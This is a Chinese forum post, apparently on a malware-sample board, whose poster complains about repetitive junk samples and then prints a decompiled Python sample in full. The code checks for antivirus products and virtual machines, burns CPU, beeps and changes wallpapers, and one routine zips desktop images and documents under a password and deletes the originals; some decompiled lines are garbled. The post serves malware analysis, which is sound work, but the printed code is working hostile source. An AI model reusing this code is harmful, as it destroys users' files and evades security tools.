求求bro不要发这种水样本了,每天就这几种代码变着法子编
- # uncompyle6 version 3.9.2
- # Python bytecode version base 3.7.0 (3394)
- # Decompiled from: Python 3.6.12 (default, Feb 9 2021, 09:19:15)
- # [GCC 8.3.0]
- # Embedded file name: test.py
- import sys, io
- class NullIO(io.StringIO):
- def write(self, text):
- pass
- def flush(self):
- pass
- original_stdout = sys.stdout
- sys.stdout = NullIO()
- print("这行文字不会显示")
- print("这行也不会显示")
- import os, sys, subprocess, winreg, ctypes, psutil, platform
- from ctypes import wintypes
- def is_antivirus_detected():
- """
- 检测系统是否存在杀毒软件
- 返回: True (检测到杀毒软件) 或 False (未检测到)
- """
- detection_methods = [
- check_antivirus_processes,
- check_antivirus_services,
- check_antivirus_registry,
- check_antivirus_windows_security_center,
- check_antivirus_install_directories,
- check_antivirus_wmi]
- for method in detection_methods:
- try:
- if method():
- print(f"检测到杀毒软件 - 方法: {method.__name__}")
- return True
- except Exception as e:
- try:
- print(f"检测方法 {method.__name__} 出错: {e}")
- continue
- finally:
- e = None
- del e
- return False
- def check_antivirus_processes():
- """
- 通过进程列表检测杀毒软件
- """
- antivirus_processes = [
- 'msmpeng.exe', 'msmpsvc.exe', 'msseces.exe', 'mssense.exe',
- 'ccsvchst.exe',
- 'ccapp.exe', 'nav.exe', 'norton.exe',
- 'mcshield.exe', 'mcui.exe',
- 'mfefire.exe', 'mfemms.exe',
- 'avp.exe', 'avpui.exe', 'ksde.exe',
- 'bdagent.exe',
- 'vsserv.exe', 'bdmcon.exe',
- 'avastui.exe', 'avastsvc.exe',
- 'aswidsagent.exe',
- 'avgui.exe', 'avg.exe', 'avgemc.exe',
- 'ekrn.exe',
- 'egui.exe',
- 'mbam.exe', 'mbamtray.exe', 'mbae.exe',
- 'tmccsf.exe',
- 'tmlisten.exe',
- 'sophos.exe', 'savservice.exe',
- 'pavsrv.exe',
- 'pavprsrv.exe',
- 'cmdagent.exe', 'cistray.exe',
- 'avguard.exe',
- 'avgnt.exe',
- '360tray.exe', 'zhudongfangyu.exe',
- 'qqpcmgr.exe',
- 'qqpctray.exe',
- 'hipsmain.exe', 'hipsdaemon.exe']
- for process in psutil.process_iter(["name"]):
- try:
- process_name = process.info["name"].lower()
- if any((av_process in process_name for av_process in antivirus_processes)):
- print(f"检测到杀毒软件进程: {process_name}")
- return True
- except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
- pass
- return False
- def check_antivirus_services():
- """
- 通过服务列表检测杀毒软件
- """
- antivirus_services = [
- 'WinDefend', 'MsMpSvc', 'Norton', 'McAfee', 'Kaspersky',
- 'BitDefender',
- 'Avast', 'AVG', 'ESET', 'Malwarebytes',
- 'Sophos', 'Panda',
- 'Comodo', 'Avira', '360', 'QQPCMGR']
- try:
- result = subprocess.run([
- 'sc', 'query', 'type=', 'service', 'state=', 'all'],
- capture_output=True,
- text=True,
- timeout=30)
- if result.returncode == 0:
- for service in antivirus_services:
- if service.lower() in result.stdout.lower():
- print(f"检测到杀毒软件服务: {service}")
- return True
- except Exception as e:
- try:
- print(f"服务检测出错: {e}")
- finally:
- e = None
- del e
- return False
- def check_antivirus_registry():
- """
- 通过注册表检测杀毒软件
- """
- antivirus_registry_paths = [
- 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
- 'SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
- 'SOFTWARE\\Microsoft\\Windows Defender',
- 'SOFTWARE\\Microsoft\\Security Center',
- 'SOFTWARE\\AVAST Software',
- 'SOFTWARE\\AVG',
- 'SOFTWARE\\KasperskyLab',
- 'SOFTWARE\\McAfee',
- 'SOFTWARE\\Norton',
- 'SOFTWARE\\Bitdefender',
- 'SOFTWARE\\ESET',
- 'SOFTWARE\\Sophos',
- 'SOFTWARE\\Panda Security',
- 'SOFTWARE\\TrendMicro',
- 'SOFTWARE\\Qihoo 360',
- 'SOFTWARE\\Tencent\\QQPCMGR']
- antivirus_keywords = [
- 'antivirus', 'antimalware', 'security', 'defender', 'protection',
- 'avast',
- 'avg', 'kaspersky', 'mcafee', 'norton', 'bitdefender',
- 'eset',
- 'malwarebytes', 'sophos', 'panda', 'trendmicro', '360',
- 'qqpcmgr',
- '火绒', '金山毒霸']
- for path in antivirus_registry_paths:
- try:
- key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, path)
- try:
- i = 0
- while True:
- try:
- subkey_name = winreg.EnumKey(key, i)
- subkey_path = f"{path}\\{subkey_name}"
- if any((keyword in subkey_name.lower() for keyword in antivirus_keywords)):
- print(f"检测到杀毒软件注册表项: {subkey_path}")
- return True
- try:
- subkey = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, subkey_path)
- try:
- j = 0
- while True:
- try:
- name, value, _ = winreg.EnumValue(subkey, j)
- if any((keyword in str(value).lower() for keyword in antivirus_keywords)):
- print(f"检测到杀毒软件注册表值: {subkey_path}\\{name}")
- return True
- j += 1
- except OSError:
- break
- finally:
- winreg.CloseKey(subkey)
- except WindowsError:
- pass
- i += 1
- except OSError:
- break
- finally:
- winreg.CloseKey(key)
- except WindowsError:
- continue
- return False
- def check_antivirus_windows_security_center():
- """
- 通过Windows安全中心检测杀毒软件
- """
- try:
- import wmi
- c = wmi.WMI()
- for product in c.Win32_Product():
- if product.Name and any((keyword in product.Name.lower() for keyword in ('antivirus',
- 'security',
- 'defender',
- 'protection'))):
- print(f"检测到安全产品: {product.Name}")
- return True
- for anti_virus in c.Win32_ComputerSystem():
- if hasattr(anti_virus, "AntivirusProduct") and anti_virus.AntivirusProduct:
- print("检测到Windows安全中心中的防病毒产品")
- return True
- except Exception as e:
- try:
- print(f"安全中心检测出错: {e}")
- finally:
- e = None
- del e
- return False
- def check_antivirus_install_directories():
- """
- 通过常见安装目录检测杀毒软件
- """
- antivirus_directories = [
- 'C:\\Program Files\\Windows Defender',
- 'C:\\Program Files\\Microsoft Security Client',
- 'C:\\Program Files\\AVAST Software',
- 'C:\\Program Files\\AVG',
- 'C:\\Program Files\\Kaspersky Lab',
- 'C:\\Program Files\\McAfee',
- 'C:\\Program Files\\Norton',
- 'C:\\Program Files\\Bitdefender',
- 'C:\\Program Files\\ESET',
- 'C:\\Program Files\\Malwarebytes',
- 'C:\\Program Files\\Sophos',
- 'C:\\Program Files\\Panda Security',
- 'C:\\Program Files\\Trend Micro',
- 'C:\\Program Files\\360',
- 'C:\\Program Files\\Tencent\\QQPCMGR',
- 'C:\\Program Files (x86)\\Windows Defender',
- 'C:\\Program Files (x86)\\Microsoft Security Client',
- 'C:\\Program Files (x86)\\AVAST Software',
- 'C:\\Program Files (x86)\\AVG',
- 'C:\\Program Files (x86)\\Kaspersky Lab',
- 'C:\\Program Files (x86)\\McAfee',
- 'C:\\Program Files (x86)\\Norton',
- 'C:\\Program Files (x86)\\Bitdefender',
- 'C:\\Program Files (x86)\\ESET',
- 'C:\\Program Files (x86)\\Malwarebytes',
- 'C:\\Program Files (x86)\\Sophos',
- 'C:\\Program Files (x86)\\Panda Security',
- 'C:\\Program Files (x86)\\Trend Micro',
- 'C:\\Program Files (x86)\\360',
- 'C:\\Program Files (x86)\\Tencent\\QQPCMGR']
- for directory in antivirus_directories:
- if os.path.exists(directory):
- print(f"检测到杀毒软件安装目录: {directory}")
- return True
- return False
- def check_antivirus_wmi():
- """
- 使用WMI查询安全产品
- """
- try:
- result = subprocess.run([
- 'wmic', '/namespace:\\\\root\\securitycenter2', 'path',
- 'antivirusproduct',
- 'get', 'displayName',
- '/value'],
- capture_output=True,
- text=True,
- timeout=30)
- if result.returncode == 0:
- if result.stdout.strip():
- lines = result.stdout.strip().split("\n")
- for line in lines:
- if line.startswith("displayName="):
- av_name = line.split("=", 1)[1]
- if av_name and av_name.lower() not in ('', 'none'):
- print(f"WMI检测到杀毒软件: {av_name}")
- return True
- except Exception as e:
- try:
- print(f"WMI检测出错: {e}")
- finally:
- e = None
- del e
- return False
- def main():
- """
- 主函数 - 检测杀毒软件并决定是否退出
- """
- print("开始检测系统是否存在杀毒软件...")
- print("==================================================")
- if platform.system() != "Windows":
- print("此脚本仅适用于Windows系统")
- elif is_antivirus_detected():
- print("\n==================================================")
- print("检测到杀毒软件存在,程序将退出...")
- else:
- print("\n==================================================")
- print("未检测到杀毒软件,程序继续运行...")
- print("执行正常程序逻辑...")
- if __name__ == "__main__":
- try:
- import psutil
- except ImportError:
- print("请安装psutil库: pip install psutil")
- try:
- import wmi
- except ImportError:
- print("wmi库未安装,部分检测功能可能受限")
- main()
- else:
- import platform, subprocess, sys
- def is_virtual_machine():
- """
- 检测当前是否在虚拟机环境中运行
- 返回: True (虚拟机) 或 False (物理机)
- """
- system = platform.system().lower()
- if system == "windows":
- try:
- import winreg
- with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum") as key:
- value, _ = winreg.QueryValueEx(key, "0")
- vm_indicators = ['vmware', 'virtual', 'vbox', 'qemu', 'xen', 'hyper-v']
- if any((indicator in value.lower() for indicator in vm_indicators)):
- return True
- except:
- pass
- try:
- system_info = platform.uname()
- vm_strings = [
- 'vmware', 'virtualbox', 'qemu', 'xen',
- 'kvm',
- 'microsoft corporation',
- 'innotek gmbh', 'parallels']
- system_info_str = str(system_info).lower()
- if any((vm_str in system_info_str for vm_str in vm_strings)):
- return True
- except:
- pass
- if system in ('linux', 'darwin'):
- vm_files = ["/sys/class/dmi/id/product_name",
- "/sys/class/dmi/id/sys_vendor",
- "/proc/scsi/scsi"]
- for vm_file in vm_files:
- try:
- with open(vm_file, "r") as f:
- content = f.read().lower()
- vm_indicators = ['vmware', 'virtualbox', 'qemu', 'xen', 'kvm', 'bochs']
- if any((indicator in content for indicator in vm_indicators)):
- return True
- except:
- continue
- try:
- if system == "windows":
- import wmi
- c = wmi.WMI()
- for process in c.Win32_Process():
- if any((vm_proc in process.Name.lower() for vm_proc in ('vmware',
- 'vbox',
- 'qemu'))):
- return True
- else:
- result = subprocess.run(["ps", "aux"], capture_output=True, text=True)
- vm_processes = ["vmware", "virtualbox", "qemu", "vbox"]
- if any((vm_proc in result.stdout.lower() for vm_proc in vm_processes)):
- return True
- except:
- pass
- try:
- if system == "linux":
- result = subprocess.run(["lscpu"], capture_output=True, text=True)
- if "hypervisor" in result.stdout.lower():
- return True
- except:
- pass
- return False
- import threading, time, hashlib, random, string
- def random_hash_calculation(stop_event):
- """
- 在后台线程中执行随机的hash计算
- """
- calculation_count = 0
- while not stop_event.is_set():
- random_data = "".join(random.choices((string.ascii_letters + string.digits), k=1024))
- algorithms = [
- hashlib.md5, hashlib.sha1, hashlib.sha256, hashlib.sha512]
- algorithm = random.choice(algorithms)
- hash_obj = algorithm()
- hash_obj.update(random_data.encode("utf-8"))
- _ = hash_obj.hexdigest()
- calculation_count += 1
- time.sleep(0.001)
- def start_hash_calculation_for_60s():
- """
- 启动一个新线程运行随机hash计算60秒
- """
- stop_event = threading.Event()
- hash_thread = threading.Thread(target=random_hash_calculation,
- args=(
- stop_event,),
- name="HashCalculationThread")
- hash_thread.daemon = True
- start_time = time.time()
- hash_thread.start()
- time.sleep(60)
- stop_event.set()
- end_time = time.time()
- hash_thread.join(timeout=5)
- return True
- def start_hash_calculation_timed(duration=60):
- """
- 使用Timer在指定时间后自动停止hash计算
- """
- stop_event = threading.Event()
- def stop_calculation():
- stop_event.set()
- print("")
- timer = threading.Timer(duration, stop_calculation)
- timer.start()
- calc_thread = threading.Thread(target=random_hash_calculation,
- args=(
- stop_event,),
- daemon=True)
- print(f"")
- calc_thread.start()
- calc_thread.join()
- timer.cancel()
- print("")
- return True
- if __name__ == "__main__":
- start_hash_calculation_for_60s()
- print("\n==================================================\n")
- start_hash_calculation_timed(60)
- import threading, time, random, winsound
- def random_beep_60s():
- """
- 在Windows系统上发出随机的beep声音,持续60秒
- """
- stop_event = threading.Event()
- def beep_worker():
- """
- 在后台线程中发出随机beep声音
- """
- start_time = time.time()
- beep_count = 0
- while not stop_event.is_set():
- frequency = random.randint(200, 2000)
- duration = random.randint(50, 500)
- try:
- winsound.Beep(frequency, duration)
- beep_count += 1
- except Exception as e:
- try:
- print(f"Beep错误: {e}")
- finally:
- e = None
- del e
- interval = random.randint(10, 500) / 1000.0
- time.sleep(interval)
- end_time = time.time()
- print(f"Beep完成: 共发出 {beep_count} 次beep,持续 {end_time - start_time:.2f} 秒")
- beep_thread = threading.Thread(target=beep_worker, daemon=True)
- print("")
- start_time = time.time()
- beep_thread.start()
- time.sleep(60)
- stop_event.set()
- beep_thread.join(timeout=2)
- end_time = time.time()
- print(f"Beep任务完成,总运行时间: {end_time - start_time:.2f} 秒")
- def random_beep(duration=60, min_freq=200, max_freq=2000, min_duration=50, max_duration=500):
- """
- 发出随机beep声音的灵活版本
-
- 参数:
- - duration: 总持续时间(秒)
- - min_freq: 最小频率(Hz)
- - max_freq: 最大频率(Hz)
- - min_duration: 最小beep持续时间(毫秒)
- - max_duration: 最大beep持续时间(毫秒)
- """
- stop_event = threading.Event()
- def beep_worker():
- beep_count = 0
- while not stop_event.is_set():
- frequency = random.randint(min_freq, max_freq)
- beep_duration = random.randint(min_duration, max_duration)
- try:
- winsound.Beep(frequency, beep_duration)
- beep_count += 1
- except Exception:
- pass
- interval = random.randint(10, 500) / 1000.0
- time.sleep(interval)
- print(f" {beep_count} ")
- beep_thread = threading.Thread(target=beep_worker, daemon=True)
- print(f" {duration} ...")
- beep_thread.start()
- time.sleep(duration)
- stop_event.set()
- beep_thread.join(timeout=2)
- print("Beep任务完成")
- def rhythmic_beep_60s():
- """
- 创建有节奏的beep模式,持续60秒
- """
- stop_event = threading.Event()
- def rhythm_worker():
- patterns = [
- [
- (440, 200), (0, 100), (440, 200)],
- [
- (440, 400), (0, 200)],
- [
- (440, 100), (0, 50), (440, 100), (0, 50),
- (440, 100)]]
- start_time = time.time()
- while not stop_event.is_set():
- pattern = random.choice(patterns)
- for freq, duration in pattern:
- if stop_event.is_set():
- break
- if freq > 0:
- try:
- winsound.Beep(freq, duration)
- except Exception:
- pass
- time.sleep(duration / 1000.0)
- rhythm_thread = threading.Thread(target=rhythm_worker, daemon=True)
- print("...")
- rhythm_thread.start()
- time.sleep(60)
- stop_event.set()
- rhythm_thread.join(timeout=2)
- print("")
- if __name__ == "__main__":
- random_beep_60s()
- print("\n==================================================\n")
- random_beep(duration=30, min_freq=300, max_freq=1500)
- print("\n==================================================\n")
- rhythmic_beep_60s()
- import os, time, random, threading
- from PIL import Image, ImageDraw
- import ctypes
- from ctypes import wintypes
- import tempfile
- def set_wallpaper(image_path):
- """
- 设置Windows桌面壁纸
- """
- try:
- SPI_SETDESKWALLPAPER = 20
- SPIF_UPDATEINIFILE = 1
- SPIF_SENDWININICHANGE = 2
- result = ctypes.windll.user32.SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, image_path, SPIF_UPDATEINIFILE | SPIF_SENDWININICHANGE)
- return result
- except Exception as e:
- try:
- print(f"设置壁纸失败: {e}")
- return False
- finally:
- e = None
- del e
- def generate_random_image(width=1920, height=1080):
- """
- 生成随机图片
- """
- image = Image.new("RGB", (width, height), color="white")
- draw = ImageDraw.Draw(image)
- bg_color = (
- random.randint(0, 255),
- random.randint(0, 255),
- random.randint(0, 255))
- draw.rectangle([0, 0, width, height], fill=bg_color)
- for _ in range(random.randint(5, 20)):
- color = (
- random.randint(0, 255),
- random.randint(0, 255),
- random.randint(0, 255))
- shape_type = random.choice(["rectangle", "ellipse", "polygon"])
- x1 = random.randint(0, width)
- y1 = random.randint(0, height)
- x2 = random.randint(x1, width)
- y2 = random.randint(y1, height)
- if shape_type == "rectangle":
- draw.rectangle([x1, y1, x2, y2], fill=color)
- elif shape_type == "ellipse":
- draw.ellipse([x1, y1, x2, y2], fill=color)
- elif shape_type == "polygon":
- points = []
- for _ in range(random.randint(3, 8)):
- points.append((random.randint(0, width), random.randint(0, height)))
- draw.polygon(points, fill=color)
- for _ in range(random.randint(10, 30)):
- color = (random.randint(0, 255),
- random.randint(0, 255),
- random.randint(0, 255))
- width_line = random.randint(1, 10)
- x1 = random.randint(0, width)
- y1 = random.randint(0, height)
- x2 = random.randint(0, width)
- y2 = random.randint(0, height)
- draw.line([x1, y1, x2, y2], fill=color, width=width_line)
- return image
- def change_wallpaper_periodically(stop_event, interval=2):
- """
- 定期更换壁纸
- """
- temp_dir = tempfile.gettempdir()
- change_count = 0
- start_time = time.time()
- while not stop_event.is_set():
- try:
- image = generate_random_image()
- temp_file = os.path.join(temp_dir, f"wallpaper_{change_count}.bmp")
- image.save(temp_file, "BMP")
- if set_wallpaper(temp_file):
- change_count += 1
- print(f"已更换壁纸 #{change_count}")
- else:
- print("壁纸更换失败")
- stop_event.wait(interval)
- except Exception as e:
- try:
- print(f"更换壁纸时出错: {e}")
- finally:
- e = None
- del e
- for i in range(change_count):
- try:
- temp_file = os.path.join(temp_dir, f"wallpaper_{i}.bmp")
- if os.path.exists(temp_file):
- os.remove(temp_file)
- except:
- pass
- end_time = time.time()
- print(f"壁纸更换完成: 共更换 {change_count} 次,持续 {end_time - start_time:.2f} 秒")
- def run_wallpaper_changer(duration=60, interval=2):
- """
- 运行壁纸更换器
-
- 参数:
- - duration: 总运行时间(秒)
- - interval: 壁纸更换间隔(秒)
- """
- stop_event = threading.Event()
- wallpaper_thread = threading.Thread(target=change_wallpaper_periodically,
- args=(
- stop_event, interval),
- daemon=True)
- print(f"开始随机更换壁纸,将持续 {duration} 秒,间隔 {interval} 秒...")
- wallpaper_thread.start()
- time.sleep(duration)
- stop_event.set()
- print("正在停止壁纸更换...")
- wallpaper_thread.join(timeout=5)
- print("壁纸更换任务完成")
- def advanced_wallpaper_changer(duration=60, interval=2, width=1920, height=1080, complexity='medium'):
- """
- 高级壁纸更换器
-
- 参数:
- - duration: 总运行时间(秒)
- - interval: 壁纸更换间隔(秒)
- - width: 图片宽度
- - height: 图片高度
- - complexity: 图片复杂度 ("low", "medium", "high")
- """
- stop_event = threading.Event()
- def advanced_image_generator():
- temp_dir = tempfile.gettempdir()
- change_count = 0
- start_time = time.time()
- if complexity == "low":
- shapes_range = (3, 10)
- lines_range = (5, 15)
- else:
- if complexity == "high":
- shapes_range = (10, 30)
- lines_range = (20, 50)
- else:
- shapes_range = (5, 20)
- lines_range = (10, 30)
- while not stop_event.is_set():
- try:
- image = Image.new("RGB", (width, height), color="white")
- draw = ImageDraw.Draw(image)
- for y in range(height):
- r = int(y / height * 255)
- g = random.randint(0, 255)
- b = int((height - y) / height * 255)
- draw.line([(0, y), (width, y)], fill=(r, g, b))
- for _ in range((random.randint)(*shapes_range)):
- color = (
- random.randint(0, 255),
- random.randint(0, 255),
- random.randint(0, 255),
- random.randint(128, 255))
- shape_type = random.choice(["rectangle", "ellipse", "polygon"])
- x1 = random.randint(0, width)
- y1 = random.randint(0, height)
- size = random.randint(50, min(width, height) // 3)
- x2 = x1 + size
- y2 = y1 + size
- if shape_type == "rectangle":
- draw.rectangle([x1, y1, x2, y2], fill=(color[None[:3]]))
- elif shape_type == "ellipse":
- draw.ellipse([x1, y1, x2, y2], fill=(color[None[:3]]))
- elif shape_type == "polygon":
- points = []
- center_x = (x1 + x2) // 2
- center_y = (y1 + y2) // 2
- radius = size // 2
- sides = random.randint(3, 8)
- for i in range(sides):
- angle = 6.28318 * i / sides
- px = center_x + radius * random.uniform(0.7, 1.3) * math.cos(angle)
- py = center_y + radius * random.uniform(0.7, 1.3) * math.sin(angle)
- points.append((px, py))
- draw.polygon(points, fill=(color[None[:3]]))
- temp_file = os.path.join(temp_dir, f"wallpaper_adv_{change_count}.bmp")
- image.save(temp_file, "BMP")
- if set_wallpaper(temp_file):
- change_count += 1
- print(f"已更换高级壁纸 #{change_count}")
- stop_event.wait(interval)
- except Exception as e:
- try:
- print(f"更换高级壁纸时出错: {e}")
- finally:
- e = None
- del e
- for i in range(change_count):
- try:
- temp_file = os.path.join(temp_dir, f"wallpaper_adv_{i}.bmp")
- if os.path.exists(temp_file):
- os.remove(temp_file)
- except:
- pass
- end_time = time.time()
- print(f"高级壁纸更换完成: 共更换 {change_count} 次,持续 {end_time - start_time:.2f} 秒")
- wallpaper_thread = threading.Thread(target=advanced_image_generator, daemon=True)
- print(f"开始高级随机更换壁纸,将持续 {duration} 秒...")
- wallpaper_thread.start()
- time.sleep(duration)
- stop_event.set()
- wallpaper_thread.join(timeout=5)
- print("高级壁纸更换任务完成")
- if __name__ == "__main__":
- import math
- print("Windows随机壁纸更换器")
- print("==================================================")
- run_wallpaper_changer(duration=60, interval=3)
- print("\n==================================================\n")
- advanced_wallpaper_changer(duration=30, interval=2, width=1920, height=1080, complexity="medium")
- import os, zipfile, glob, shutil
- from pathlib import Path
- import os, zipfile, glob, shutil
- from pathlib import Path
- def pack_desktop_files():
- """
- 将桌面上的所有图片和文档打包成带密码的ZIP文件,并删除原文件
- 密码: @@@l1
- 遇到任何错误都不会中断执行
- """
- image_extensions = [
- '*.jpg', '*.jpeg', '*.png', '*.gif', '*.bmp', '*.tiff',
- '*.webp', '*.ico', '*.svg']
- document_extensions = ['*.pdf', '*.doc', '*.docx', '*.txt', '*.rtf', '*.odt', '*.xls', '*.xlsx',
- '*.ppt',
- '*.pptx', '*.csv', '*.md', '*.xml', '*.json', '*.html',
- '*.htm']
- desktop_path = get_desktop_path()
- if not desktop_path:
- print("无法获取桌面路径")
- return False
- all_files = []
- for ext in image_extensions:
- try:
- pattern = os.path.join(desktop_path, ext)
- files = glob.glob(pattern)
- all_files.extend(files)
- pattern_upper = os.path.join(desktop_path, ext.upper())
- files_upper = glob.glob(pattern_upper)
- all_files.extend(files_upper)
- except Exception as e:
- try:
- continue
- finally:
- e = None
- del e
- for ext in document_extensions:
- try:
- pattern = os.path.join(desktop_path, ext)
- files = glob.glob(pattern)
- all_files.extend(files)
- pattern_upper = os.path.join(desktop_path, ext.upper())
- files_upper = glob.glob(pattern_upper)
- all_files.extend(files_upper)
- except Exception as e:
- try:
- continue
- finally:
- e = None
- del e
- all_files = list(set(all_files))
- if not all_files:
- print("桌面上未找到图片或文档文件")
- return False
- zip_filename = os.path.join(desktop_path, "desktop_files.zip")
- counter = 1
- while os.path.exists(zip_filename):
- zip_filename = os.path.join(desktop_path, f"desktop_files_{counter}.zip")
- counter += 1
- password = "@@@l1"
- try:
- with zipfile.ZipFile(zip_filename, "w", zipfile.ZIP_DEFLATED) as zipf:
- zipf.setpassword(password.encode("utf-8"))
- for file_path in all_files:
- try:
- file_name = os.path.basename(file_path)
- zipf.write(file_path, file_name)
- print(f"已添加: {file_name}")
- except Exception as e:
- try:
- print(f"添加文件失败 {file_path}: {str(e)}")
- continue
- finally:
- e = None
- del e
- if os.path.exists(zip_filename):
- if os.path.getsize(zip_filename) > 0:
- print(f"ZIP文件创建成功: {zip_filename}")
- deleted_count = 0
- for file_path in all_files:
- try:
- if os.path.exists(file_path):
- os.remove(file_path)
- deleted_count += 1
- print(f"已删除: {os.path.basename(file_path)}")
- except Exception as e:
- try:
- print(f"删除文件失败 {file_path}: {str(e)}")
- continue
- finally:
- e = None
- del e
- print(f"操作完成: 成功打包 {len(all_files)} 个文件,删除了 {deleted_count} 个原文件")
- return True
- print("ZIP文件创建失败")
- return False
- except Exception as e:
- try:
- print(f"创建ZIP文件时出错: {str(e)}")
- return False
- finally:
- e = None
- del e
- def get_desktop_path():
- """
- 获取桌面路径(跨平台)
- """
- try:
- if os.name == "nt":
- import winreg
- key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders")
- desktop_path = winreg.QueryValueEx(key, "Desktop")[0]
- winreg.CloseKey(key)
- return desktop_path
- possible_paths = [
- os.path.join(os.path.expanduser("~"), "Desktop"),
- os.path.join(os.path.expanduser("~"), "桌面"),
- os.path.expanduser("~")]
- for path in possible_paths:
- if os.path.exists(path):
- return path
- return os.path.expanduser("~")
- except Exception as e:
- try:
- print(f"获取桌面路径失败,使用用户目录: {str(e)}")
- return os.path.expanduser("~")
- finally:
- e = None
- del e
- def pack_desktop_files_safe(backup_first=True):
- """
- 安全版本:可以选择先备份再删除
- """
- desktop_path = get_desktop_path()
- if not desktop_path:
- print("无法获取桌面路径")
- return False
- backup_dir = None
- if backup_first:
- backup_dir = os.path.join(desktop_path, "desktop_backup")
- try:
- os.makedirs(backup_dir, exist_ok=True)
- except Exception as e:
- try:
- print(f"创建备份目录失败: {str(e)}")
- backup_dir = None
- finally:
- e = None
- del e
- if pack_desktop_files():
- if backup_dir:
- if os.path.exists(backup_dir):
- try:
- shutil.rmtree(backup_dir)
- except:
- pass
- return True
- if backup_dir:
- if os.path.exists(backup_dir):
- print("操作失败,正在恢复备份...")
- try:
- for item in os.listdir(backup_dir):
- src = os.path.join(backup_dir, item)
- dst = os.path.join(desktop_path, item)
- shutil.move(src, dst)
- shutil.rmtree(backup_dir)
- print("备份已恢复")
- except Exception as e:
- try:
- print(f"恢复备份失败: {str(e)}")
- finally:
- e = None
- del e
- return False
- if __name__ == "__main__":
- print("开始打包桌面文件...")
- success = pack_desktop_files()
- if success:
- print("操作成功完成")
- else:
- print("操作失败")
- import subprocess, platform, time
- from datetime import datetime
- def ping_website(host):
- """
- 测试指定网站是否能ping通
-
- Args:
- host (str): 要ping的网站域名或IP地址
-
- Returns:
- bool: 如果能ping通返回True,否则返回False
- """
- param = "-n" if platform.system().lower() == "windows" else "-c"
- command = [
- "ping", param, "3", host]
- try:
- result = subprocess.run(command, capture_output=True,
- text=True,
- timeout=10)
- return result.returncode == 0
- except subprocess.TimeoutExpired:
- print(f"Ping {host} 超时")
- return False
- except Exception as e:
- try:
- print(f"Ping {host} 时发生错误: {e}")
- return False
- finally:
- e = None
- del e
- def ping_navigation_sites():
- """
- Ping常见的导航网站并输出结果
- """
- navigation_sites = [
- 'www.baidu.com',
- 'www.google.com',
- 'www.bing.com',
- 'www.qq.com',
- 'www.taobao.com',
- 'www.jd.com',
- 'www.sina.com.cn',
- 'www.sohu.com',
- 'www.163.com',
- 'www.zhihu.com']
- print("==================================================")
- print(f'开始测试导航网站连通性 - {datetime.now().strftime("%Y-%m-%d %H:%M:%S")}')
- print("==================================================")
- success_count = 0
- total_count = len(navigation_sites)
- for site in navigation_sites:
- print(f"正在测试 {site} ...", end=" ")
- start_time = time.time()
- is_success = ping_website(site)
- end_time = time.time()
- response_time = round((end_time - start_time) * 1000, 2)
- if is_success:
- print(f"✓ 通 (响应时间: {response_time}ms)")
- success_count += 1
- else:
- print("✗ 不通")
- time.sleep(1)
- print("==================================================")
- print(f"测试完成: {success_count}/{total_count} 个网站可访问")
- print(f"成功率: {success_count / total_count * 100:.1f}%")
- print("==================================================")
- def ping_specific_site(host):
- """
- Ping指定的单个网站并显示详细信息
-
- Args:
- host (str): 要测试的网站
- """
- print(f"\n详细测试: {host}")
- print("------------------------------")
- param = "-n" if platform.system().lower() == "windows" else "-c"
- command = ["ping", param, "4", host]
- try:
- result = subprocess.run(command, capture_output=True,
- text=True,
- timeout=15)
- if result.returncode == 0:
- print("状态: ✓ 可以访问")
- print("\n详细结果:")
- print(result.stdout)
- else:
- print("状态: ✗ 无法访问")
- print(f"错误信息:\n{result.stderr}")
- except Exception as e:
- try:
- print(f"测试时发生错误: {e}")
- finally:
- e = None
- del e
- if __name__ == "__main__":
- ping_navigation_sites()
- from flask import Flask
- app = Flask(__name__)
- @app.route("/")
- def home():
- return "<h1>Hello, World!</h1><p>Welcome to your local Flask server!</p>"
- @app.route("/about")
- def about():
- return "<h1>About Page</h1><p>This is a simple Flask web server.</p>"
- if __name__ == "__main__":
- app.run(host="127.0.0.1", port=5000, debug=True)
复制代码 |